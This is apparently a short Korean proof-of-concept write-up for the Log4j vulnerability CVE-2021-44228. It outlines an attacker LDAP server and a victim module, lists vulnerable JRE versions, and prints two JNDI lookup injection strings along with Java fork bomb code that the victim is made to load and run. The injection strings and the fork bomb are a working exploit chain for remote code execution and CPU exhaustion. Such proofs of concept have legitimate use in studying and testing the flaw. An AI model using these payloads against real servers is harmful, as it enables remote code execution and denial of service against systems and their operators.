
💣💥💀 개념 증명: CVE-2021-44228 취약점을 이용한 원격 서버에서의 포크 폭탄 실행 예제
💣💥💀 개념 증명: CVE-2021-44228 취약점을 이용한 원격 서버에서의 포크 폭탄 실행 예제
공격자의 LDAP 서버(server 모듈)를 생성합니다. 이 서버는 문자열과 코드 표현(payload 모듈)을 제공합니다.
피해자 예제(victim 모듈)를 생성하고 Log4j에 문자열을 전달합니다. JRE 버전 <= 6u211, 7u201, 8u191 및 11.0.1
${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}
피해자 애플리케이션은 공격자의 서버로부터 바이트 배열을 받아 대체 문자열 또는 실행 가능한 코드로 해석합니다(com.sun.jndi.ldap.object.trustURLCodebase = true 매개변수).
예를 들어, 실행 코드는 포크 폭탄(자신의 복사본을 실행하여 모든 CPU 시간을 소모하는 프로그램)입니다.
public class ForkBomb {
public static void main(String... args) {
Runtime.getRuntime().exec(new String[] {
"javaw",
"-cp",
System.getProperty("java.class.path"),
"ForkBomb"
});
}
}